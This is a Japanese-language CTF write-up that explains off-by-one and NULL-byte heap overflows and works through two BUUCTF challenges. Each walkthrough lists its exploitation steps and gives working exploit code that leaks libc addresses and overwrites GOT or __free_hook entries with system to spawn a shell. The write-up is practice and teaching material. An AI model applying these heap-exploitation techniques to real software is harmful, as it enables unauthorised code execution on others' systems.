Off-by-One脆弱性の概要
Off-by-oneは特殊なバッファオーバーフロー脆弱性で、プログラムがバッファに書き込む際に、確保されたサイズを1バイトだけ超過する状態を指します。この脆弱性を悪用すると、メモリ構造を改変し機密情報の漏洩や制御フローの乗っ取りが可能になります。
実例解析:BUUCTF課題1
脆弱性の特定
編集機能にoff-by-one脆弱性が存在し、隣接するチャンクのサイズフィールドを改変可能です。これによりヒープ構造の再配置が可能になります。
悪用手順
- 特定サイズのチャンクを2つ確保
- 最初のチャンクを編集しサイズフィールドを改変
- 改変されたチャンクを解放し異常なヒープ構造を作成
- 新規チャンクを確保しGOTエントリを上書き
- libcアドレスをリークしsystem関数のアドレスを計算
- GOTエントリを書き換えシェルを起動
create_chunk(24, b'chunk0')
create_chunk(24, b'chunk1')
modify_chunk(0, b'/bin/sh\x00' + b'\x00'*16 + b'\x41')
release_chunk(1)
create_chunk(48, b'A'*8 + p64(0)*2 + p64(0x21) + p64(0x30) + p64(elf.got["free"]))
display_chunk(1)
leaked_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = leaked_addr - 0x844f0
system_addr = libc_base + 0x45390
modify_chunk(1, p64(system_addr))
release_chunk(0)
実例解析:BUUCTF課題2
脆弱性の特定
著者名更新機能にNULLバイトオーバーフローが存在し、書籍管理構造体のポインタを改変可能です。
悪用手順
- 著者名領域を埋めヒープアドレスをリーク
- unsorted binからmain_arenaアドレスをリーク
- 偽造構造体を作成しポインタを書き換え
- libcアドレスを計算しフックを書き換え
- 任意アドレス書き込みを実現しシェル起動
set_author(b'a'*32)
create_book(16, 272, b"book1", b"desc1")
create_book(128, 256, b"book2", b"desc2")
release_book(2)
list_books()
heap_base = u64(p.recv(6).ljust(8, b'\x00'))
fake_struct = b'X'*96 + p64(1) + p64(heap_base+0x30) + p64(heap_base+0x1e0) + p64(4095)
update_description(1, fake_struct)
set_author(b'a'*32)
list_books()
main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
libc_base = main_arena - (libc.symbols["__malloc_hook"] + 0x10 + 0x58)
system_addr = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]
create_book(128, 256, b"/bin/sh", b"/bin/sh")
update_description(1, p64(free_hook))
update_description(3, p64(system_addr))
release_book(3)